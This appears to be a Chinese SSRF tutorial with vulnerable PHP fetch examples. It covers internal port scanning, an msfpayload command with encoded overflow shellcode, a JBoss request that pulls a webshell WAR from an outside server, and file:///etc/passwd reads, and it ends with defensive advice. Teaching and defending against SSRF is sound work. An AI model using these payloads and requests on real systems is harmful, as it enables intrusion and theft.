ssrf攻击概述


很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)。

比如下图显示的就是提供这种功能的典型应用:

如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被发现过这种漏洞。攻击者利用ssrf可以实现的攻击主要有5种:

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。

常用的后端实现


ssrf攻击可能存在任何语言编写的应用,我们通过一些php实现的代码来作为样例分析。代码的大部分来自于真实的应用源码。

1,php file_get_contents:

 1 <?php
 2 if (isset($_POST['url']))
 3 {
 4 $content = file_get_contents($_POST['url']);
 5 $filename ='./images/'.rand().';img1.jpg';
 6 file_put_contents($filename, $content);
 7 echo $_POST['url'];
 8 $img = "<img src=\"".$filename."\"/>";
 9 }
10 echo $img;
11 ?>

这段代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

2,php fsockopen():

 1 <?php
 2 function GetFile($host,$port,$link)
 3 {
 4 $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
 5 if (!$fp) {
 6 echo "$errstr (error number $errno) \n";
 7 } else {
 8 $out = "GET $link HTTP/1.1\r\n";
 9 $out .= "Host: $host\r\n";
10 $out .= "Connection: Close\r\n\r\n";
11 $out .= "\r\n";
12 fwrite($fp, $out);
13 $contents='';
14 while (!feof($fp)) {
15 $contents.= fgets($fp, 1024);
16 }
17 fclose($fp);
18 return $contents;
19 }
20 }
21 ?>

这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

3,php curl_exec():

 1 <?php
 2 if (isset($_POST['url']))
 3 {
 4 $link = $_POST['url'];
 5 $curlobj = curl_init();
 6 curl_setopt($curlobj, CURLOPT_POST, 0);
 7 curl_setopt($curlobj,CURLOPT_URL,$link);
 8 curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
 9 $result=curl_exec($curlobj);
10 curl_close($curlobj);
11
12 $filename = './curled/'.rand().'.txt';
13 file_put_contents($filename, $result);
14 echo $result;
15 }
16 ?>

这是另外一个很常见的实现。使用curl获取数据。

攻击场景


大部分的web服务器架构中,web服务器自身都可以访问互联网和服务器所在的内网。下图展示了web服务器的请求可以到达的地方。

端口扫描


大多数社交网站都提供了通过用户指定的url上传图片的功能。如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URI,比如

http://example.com:8080/dir/images/http://example.com:22/dir/public/image.jpghttp://example.com:3306/dir/images/

然后根据服务器的返回信息来判断端口是否开放。大部分应用并不会去判断端口,只要是有效的URL,就发出了请求。而大部分的TCP服务,在建立socket连接的时候就会发送banner信息,banner信息是ascii编码的,能够作为原始的html数据展示。当然,服务端在处理返回信息的时候一般不会直接展示,但是不同的错误码,返回信息的长度以及返回时间都可以作为依据来判断远程服务器的端口状态。

下面一个实现就可以用来做端口扫描:

 1 <?php
 2 if (isset($_POST['url']))
 3 {
 4 $link = $_POST['url'];
 5 $filename = './curled/'.rand().'txt';
 6 $curlobj = curl_init($link);
 7 $fp = fopen($filename,"w");
 8 curl_setopt($curlobj, CURLOPT_FILE, $fp);
 9 curl_setopt($curlobj, CURLOPT_HEADER, 0);
10 curl_exec($curlobj);
11 curl_close($curlobj);
12 fclose($fp);
13 $fp = fopen($filename,"r");
14 $result = fread($fp, filesize($filename));
15 fclose($fp);
16 echo $result;
17 }
18 ?>

读者可以使用如下表单提交测试(比较简陋~~):

<html><body><form name="px" method="post" action="http://127.0.0.1/ss.php"><input type="text" name="url" value=""><input type="submit" name="commit" value="submit"></form><script></script></body></html>

正常情况下,请求http://www.twitter.com/robots.txt 返回结果如下:

如果请求非http服务的端口,比如:http://scanme.nmap.org:22/test.txt 会返回banner信息

请求关闭的端口会报错:http://scanme.nmap.org:25/test.txt

请求本地的mysql端口:http://127.0.0.1:3306/test.txt

当然大多数互联网的应用并不会直接返回banner信息。不过可以通过前面说过的,处错误信息,响应时间,响应包大小来判断。下面是Google的webmaster应用中,利用返回信息判断端口状态的案例.该缺陷Google已修复。

攻击应用程序


内网的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。

下面是用一个小程序本地来演示:

请求:http://127.0.0.1:8987/test.txt

探测到8987端口开放。

请求:

 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

这里是白盒分析,实战的时候当然没这个条件只能是利用已知漏洞来溢出。通过分析写好exp。因为http是基于文本的协议,所以处理一些不可以打印的unicode字符会存在问题。这里使用msfencode来进行编码。命令如下:

msfpayload widnows/exec CMD=calc.exe R | msfencode
bufferRegister=ESP -e x86/alpha_mixed

最终payload如下:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhm
YUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl
5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xn
k2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU
8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2
xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOm
KON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA

溢出成功,弹出计算器。

大家也许会对http发送的数据是否能被其他服务器协议接收存在疑问。可以参考跨协议通信技术利用

内网web应用指纹识别


识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。比如可以通过访问下列文件来判断phpMyAdmin是否安装:

Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

访问 http://10.0.0.1/portName.js 可以判断是否是Dlink 路由器

下面百度的案例来自于wooyun,已经修复。通过访问http://10.50.33.43:8080/manager/images/tomcat.gif 识别出服务器使用了tomcat。

攻击内网web应用


仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。这里提供一个Jboss的案例,使用一个get请求即可部署webshell。

只需要将网马放在公网服务器上,然后发送这个请求即可:

 &name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

通过加参数请求网马执行命令:http://127.0.0.1:8080/cmd/shell.jsp?x=dir

实战中一般不会有回显,类似于盲打只能。

读取本地文件


上面提到的案例都是基于http请求的。如果我们指定file协议,也可能读到服务器上的文件。如下的请求会让应用读取本地文件:

Request: file:///C:/Windows/win.ini

下面是Adobe的一个案例,已经修复。请求为file:///etc/passwd

如何防御


通常有以下5个思路:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

参考资料


http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html

http://evilcos.me/?p=2

http://www.wooyun.org

via riyazwalikar.com  编译整理 by litdg@freebuf

转载于:https://www.cnblogs.com/cyjaysun/p/4378504.html

SSRF攻击实例解析相关推荐

  1. 【SSRF技巧拓展】————2、SSRF攻击实例解析

    ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为 ...

  2. [安全科普]SSRF攻击实例解析

    litdg2013-12-18+20共1482300人围观 ,发现 33 个不明物体WEB安全 ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用 ...

  3. 跨站脚本攻击实例解析

    作者:泉哥 主页:http://riusksk.blogbus.com 前言 跨站攻击,即Cross Site Script Execution(通常简写为XSS,因为CSS与层叠样式表同名,故改为X ...

  4. 实例解析网络钓鱼攻击的幕后

    实例解析网络钓鱼攻击的幕后 网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息(如用户名.口令.帐号ID.ATM PIN码或信用卡详细信息)的一种攻击方式. ...

  5. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  6. Web漏洞之SSRF攻击汇总

    目录 靶场拓扑设计 x.x.x.x:8080 - 判断 SSRF 是否存在 172.72.23.21 - SSRF 获取本地信息 FILE 协议获取本地信息 172.72.23.1/24 - SSRF ...

  7. SSRF详解(包含多种SSRF攻击)

    Server-side request forgery(SSRF) 文章目录 Server-side request forgery(SSRF) 简介 OWASP Top 10 中的 SSRF SSR ...

  8. 如何使用Metabadger帮助AWS EC2抵御SSRF攻击

    关于Metabadger Metabadger是一款功能强大的SSRF攻击防护工具,该工具可以帮助广大研究人员通过自动升级到更安全的实例元数据服务v2(IMDSv2),以防止网络犯罪分子对AWS EC ...

  9. SSRF漏洞原理解析

    文章目录 0x01 基础知识 1.SSRF漏洞简介: 2.主要攻击方式: 3.漏洞形成原理: 4.漏洞的危害: 0x02 漏洞检测 1.漏洞验证: 2.漏洞的可能出现点: 0x03 绕过方法: 1.绕 ...

最新文章

  1. mysql数据库忘记密码
  2. 通过telnet命令查看memcache运行状态
  3. 数据中心人员短缺,行业仍然充满挑战
  4. Thrift异步IO服务器源码分析
  5. activiti 5.22的demo运行
  6. c语言分治算法求最大值,分治法找最大值(C語言)
  7. 深度学习精度提升 3 个小妙招:模型集成、知识蒸馏、自蒸馏
  8. 易被销售员忽略的销售细节
  9. selenium 无法启动IE浏览器的解决方法
  10. 用c语言编写五子棋用vs写,c语言写的五子棋人与人对战
  11. 拓端tecdat|R语言在不同样本量下的Little‘s MCAR检验
  12. java调用tuxedo中间件_初探TUXEDO中间件
  13. Revit二次开发之创建共享参数及绑定共享参数【比目鱼原创】
  14. 基于MATLAB的数字图像处理-图像进行灰度化
  15. 华为安全 HCIP 723题库+知识点
  16. linux 以太网 mac,苹果Mac以太网卡的连接速度查看方法
  17. 别把职场当官斗,聪明人都在自我成长
  18. 测试代理ip是否有效
  19. app pour android,Comment configurer Dell Mobile Connect pour Android
  20. 解决方案模板(标题立问题简述)

热门文章

  1. C++基础教程之如何定义数字
  2. 小白如何快速学会C++?
  3. 前端学习资料网址收集整理
  4. P2P网络借贷系统-核心功能-用户投标-业务解说
  5. 【索引】反向索引--条件 范围查询(二)
  6. RabbitMQ之路由选择
  7. Frame Stacking 框架堆叠
  8. WP8开发日志(3):MVC设计模式进阶——绑定多个数据集
  9. Q-Learning算法学习
  10. Undefined control sequence.l.113 \LinesNumbered